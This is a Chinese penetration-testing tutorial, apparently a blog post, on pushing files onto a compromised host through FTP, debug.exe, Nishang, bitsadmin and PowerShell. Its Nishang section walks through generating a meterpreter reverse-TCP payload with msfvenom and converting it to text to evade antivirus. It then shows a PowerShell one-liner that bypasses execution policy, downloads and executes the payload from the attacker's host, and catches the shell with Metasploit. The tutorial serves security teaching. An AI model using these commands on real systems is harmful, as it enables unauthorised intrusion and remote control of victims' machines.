用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在上一篇文章中,我们已经介绍了压缩工具的使用压缩--RAR、7-Zip工具使用-CSDN博客,接下来我们就介绍相关的上传、下载工具,在不能上传Shell,但是可以执行命令行目标机的情况下,上传和下载操作就是比较好的优先级操作了。

一、FTP协议上传

1、FTP 协议上传的基本原理

FTP 协议通过控制连接数据连接两个通道工作:

  1. 控制连接:客户端通过 TCP 连接到服务器的 21 端口,用于发送命令(如登录、切换目录、上传指令等)和接收服务器响应。
  2. 数据连接:专门用于传输文件数据,分为两种模式:
    • 主动模式:服务器主动连接客户端的 20 端口传输数据。
    • 被动模式:客户端连接服务器临时开放的端口(由服务器告知)传输数据(更常用,尤其在客户端有防火墙时)。

上传核心命令是STOR(Store),客户端通过该命令告知服务器 “要上传文件”,并随后通过数据连接发送文件内容。

2、命令行操作步骤

几乎所有操作系统(Windows、Linux、macOS)都自带ftp命令行工具,操作逻辑一致,以下是标准步骤:

1. 准备工作
  • 确认目标 FTP 服务器的地址(IP 或域名)端口(默认 21)、登录用户名密码
  • 准备好要上传的本地文件,记录其完整路径(如C:\files\test.txt/home/user/data.zip)。
2. 连接 FTP 服务器

打开命令提示符(Windows)或终端(Linux/macOS),输入以下命令连接服务器:

ftp [服务器地址] [端口]  # 端口默认21,可省略

3. 登录服务器

连接成功后,会提示输入用户名和密码:

Name (ftp.example.com:当前用户): 输入用户名  # 如"admin"或匿名登录用"anonymous"
Password: 输入密码                          # 匿名登录通常直接回车(或输入任意邮箱)

登录成功后,会显示服务器欢迎信息,提示符变为ftp>,表示已进入 FTP 交互模式。

提示:如果使用root用户登录,会失败,因为ftp登录限制了root用户,如果想要使用root登录,就要进入下面的配置文件,将其中的root删除即可

sudo nano /etc/ftpusers
4. 切换目录(可选)

进入web目录下

  • 切换远程服务器目录(上传到目标路径):
    cd 远程目录路径  # 如 cd /uploads 或 cd "My Documents"
    
  • 切换本地文件所在目录(指定要上传的文件位置):
    lcd 本地目录路径  # 如 Windows: lcd C:\Users\Files;Linux: lcd /home/user/docs
    
    可通过pwd(查看远程当前目录)和!pwd(查看本地当前目录)确认路径。

5. 设置传输模式(关键)

FTP 有两种传输模式,必须根据文件类型选择,否则可能导致文件损坏:

二进制模式(推荐,适用于所有文件,如图片、压缩包、程序、脚本等):

binary

ASCII 模式(仅适用于纯文本文件,如.txt、.html 等):

ascii

建议默认使用binary模式,避免文件损坏。

6. 执行上传操作

使用putsend命令上传单个文件,语法:

put 本地文件名 [远程文件名]  # 若不指定远程文件名,默认与本地文件名相同

若需上传多个文件,可使用mput命令(批量上传,支持通配符*):

mput *.jpg  # 上传本地当前目录所有.jpg文件到远程当前目录

执行mput后会逐个询问是否上传,输入y确认,n跳过。

7. 验证上传结果

使用ls命令查看远程目录文件,确认上传成功:

ls  # 列出远程当前目录的文件

8. 退出 FTP 连接

完成上传后,输入以下命令断开连接:

quit  # 或 bye、exit

Windows 系统特殊说明

Windows 的ftp命令与 Linux 基本一致,仅本地路径格式不同(使用反斜杠\):

# Windows示例
ftp ftp.example.com
# 登录后...
lcd C:\Users\Documents  # 切换本地目录
binary
put data.csv  # 上传C:\Users\Documents\data.csv

ftp也是存在图形化应用的,比如XFTP,WinScp

二、Debug上传

在 渗透测试 或 受限系统维护 中,若目标机器(如 Windows)仅提供命令行界面(无图形化、无网络上传工具),DOS 调试工具 debug.exe 可作为 “曲线上传” 的手段:

  • debug.exe 本身:是 DOS 时代的程序调试器,支持 汇编代码调试、内存 / 寄存器操作、磁盘扇区读写
  • 渗透核心用法:利用其 “将十六进制文本转换为二进制可执行文件” 的能力,突破 “无法直接上传文件” 的限制(仅需传输文本内容)。

将可执行文件(.exe/.dll 等)转换为十六进制文本,通过命令行传输后,再用 debug 还原为二进制文件

  1. 二进制 → 十六进制
    可执行文件是二进制数据,先将其转换为 十六进制字符串(如 4D5A9000...),使其能通过 echo 等命令行工具以文本形式传输(规避 “无法直接传文件” 的限制)。

  2. 文本传输
    在目标机器,通过 echo 命令将十六进制文本逐行写入脚本(如 .cmd 文件),或直接在命令行执行。

  3. 十六进制 → 二进制
    运行 debug.exe,加载脚本中的十六进制数据,通过 debug 的 写盘指令(w 将其还原为可执行文件(二进制)。

由于此利用方式较久远,这里不做演示,仅了解即可。

三、Nishang上传

介绍

Nishang 并非传统 “文件上传工具”,而是通过 PowerShell 脚本 实现 “文本化传输 + 二进制还原” 的渗透技巧:

  • 环境受限:目标机无 FTP、SCP 等工具,仅能执行命令;
  • 检测规避:二进制文件(.exe)易被杀毒软件拦截,转为文本(Hex/Base64)更隐蔽;
  • 权限维持:结合 PowerShell 原生能力,无需依赖第三方软件。
技术原理
  1. 文件编码转换
    将可执行文件(.exe)转为 十六进制(Hex)文本(或 Base64),使二进制数据伪装成 “普通文本”,绕过防火墙 / 杀毒软件的二进制检测。
    → 依赖 Nishang 的 ExetoText.ps1 脚本。

  2. 文本传输
    通过 HTTP、SMB 等协议传输文本内容(比二进制更易穿透限制)。

  3. 二进制还原与执行
    在目标机,用 Nishang 的 Download_Execute.ps1 等脚本,将文本转回二进制文件(.exe),并自动执行。

操作
步骤 1:攻击机配置

  1. 安装 Nishang

    git clone https://github.com/samratashok/nishang  # 从GitHub下载
    # 或 Kali 直接安装:sudo apt install nishang
    
  2. 生成反向 Shell(以 MSF 为例)

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > shell.exe
    
  3. 将 exe 转为 Hex 文本
    用 Nishang 的 ExetoText.ps1 转换:

    # 在攻击机的PowerShell中执行(需进入Nishang目录)
    Import-Module ./Utility/ExetoText.ps1
    ExetoText C:\shell.exe C:\shell.txt  # 生成shell.txt(Hex文本)
    
  4. 搭建 HTTP 服务
    让目标机可下载脚本和文本文件:

    sudo python3 -m http.server 80  # 启动80端口HTTP服务,共享Nishang目录和shell.txt
    
步骤 2:目标机执行(获取 PowerShell 权限后)
  1. 绕过 PowerShell 执行策略
    Windows 默认阻止脚本运行,需用 -exec bypass 绕过:

    powershell -nop -exec bypass -c "..."  # -nop:无配置文件;-exec bypass:绕过策略
    
  2. 下载并运行 Download_Execute.ps1
    该脚本会下载 Hex 文本,转回 exe 并执行:

    powershell -nop -exec bypass -c "
    IEX(New-Object Net.WebClient).DownloadString('http://攻击机IP/nishang/Execution/Download_Execute.ps1'); 
    Download_Execute http://攻击机IP/shell.txt
    "
    
    IEX:Invoke-Expression,执行下载的脚本;

   Download_Execute:自动将 Hex 文本还原为 shell.exe 并运行,触发反向 Shell。

步骤 3:监听反向 Shell(攻击机)

在 Metasploit 中监听端口(与 msfvenom 配置一致):

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击机IP
set LPORT 4444
run
与传统上传的对比
方式 优势 劣势
Nishang 纯 PowerShell,无需第三方工具;文本传输更隐蔽 依赖 PowerShell 环境;需绕过检测
FTP/SCP 直接高效 易被防火墙拦截;需账号权限
Debug 上传 适用于极老系统(DOS 环境) 仅支持 64KB 内文件;兼容性差

四、利用bitsadmin

bitsadmin 是 Windows 系统自带的 后台智能传输服务(BITS)命令行工具,可在后台异步传输文件(支持 HTTP/HTTPS/SMB 协议),特点是 低资源占用、支持断点续传,且因是系统原生工具,在渗透测试或命令行环境中不易被拦截。

1.核心原理

BITS 服务是 Windows 原生组件(从 WinXP 到 Win11 均内置),主要用于在后台传输大文件(如下载系统更新)。bitsadmin 作为其命令行接口,通过以下方式实现下载:

  1. 创建一个 BITS 任务,指定 源文件 URL 和 本地保存路径
  2. 任务在后台运行(不阻塞当前命令行),可暂停 / 恢复,网络中断后会自动重试;
  3. 下载完成后,文件会被写入指定路径,任务状态变为 “已完成”。
2.基本下载命令

语法:

bitsadmin /transfer <任务名> <源URL> <本地保存路径>

示例(从 HTTP 服务器下载文件到 C:\temp):

# 创建并启动一个名为 "myDownload" 的任务,下载文件到 C:\temp\test.exe
bitsadmin /transfer myDownload http://example.com/file.exe C:\temp\file.exe
3.关键参数与进阶用法
场景需求 命令示例 说明
后台静默下载 bitsadmin /transfer myTask /background http://x.com/f.exe C:\f.exe /background:任务在后台运行,不显示进度(适合脚本中使用)
设置优先级 bitsadmin /transfer myTask /priority normal http://x.com/f.exe C:\f.exe 优先级:foreground(最高)、highnormal(默认)、low(最低)
强制覆盖本地文件 bitsadmin /transfer myTask /overwrite http://x.com/f.exe C:\f.exe /overwrite:若本地文件已存在,直接覆盖
下载到当前目录 bitsadmin /transfer myTask http://x.com/f.exe .\f.exe . 表示当前目录(需确保当前目录有写入权限)
从 SMB 共享下载 bitsadmin /transfer myTask \\192.168.1.100\share\f.exe C:\f.exe 支持访问局域网共享文件
4. 管理下载任务(查看 / 暂停 / 恢复 / 删除)
# 查看所有 BITS 任务状态(包括ID、名称、进度)
bitsadmin /list /allusers

# 暂停任务(需知道任务名或ID)
bitsadmin /suspend myDownload

# 恢复被暂停的任务
bitsadmin /resume myDownload

# 删除任务(无论是否完成)
bitsadmin /cancel myDownload

五、利用Powershell下载

powerShell 下载依赖 .NET 框架类 或 内置 cmdlet,利用 HTTP/HTTPS 协议传输文件。

方法 1:Invoke-WebRequest(PowerShell 3.0+ 内置)
  • 原理:发送 HTTP/HTTPS 请求,支持下载文件、解析网页内容(如抓取链接)。
  • 语法
    Invoke-WebRequest -Uri "文件URL" -OutFile "本地保存路径"
    
  • 示例:下载 file.exe 到 C:\temp
    Invoke-WebRequest -Uri https://example.com/file.exe -OutFile C:\temp\file.exe
    
方法 2:.NET WebClient(兼容性最佳,PowerShell 2.0+ 可用)
  • 原理:调用 .NET 框架的 System.Net.WebClient 类,直接实现文件下载。
  • 语法(一行命令版,渗透测试常用):
    (New-Object System.Net.WebClient).DownloadFile("文件URL", "本地保存路径")
    
  • 示例
    (New-Object System.Net.WebClient).DownloadFile("https://example.com/shell.exe", "C:\temp\shell.exe")
    
方法 3:Start-BitsTransfer(依赖 BITS 服务,适合大文件)
  • 原理:调用 Windows 后台智能传输服务(BITS),支持 断点续传、后台异步下载(网络中断自动重试)。
  • 语法
    Start-BitsTransfer -Source "文件URL" -Destination "本地保存路径"
    
  • 示例:下载大文件 large.zip
    Start-BitsTransfer -Source https://example.com/large.zip -Destination C:\temp\large.zip
    

    大多数情况下powershell都是禁用的,就是.psl脚本文件在默认情况下是禁止使用的,所以这里只进行了解,不实操。

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐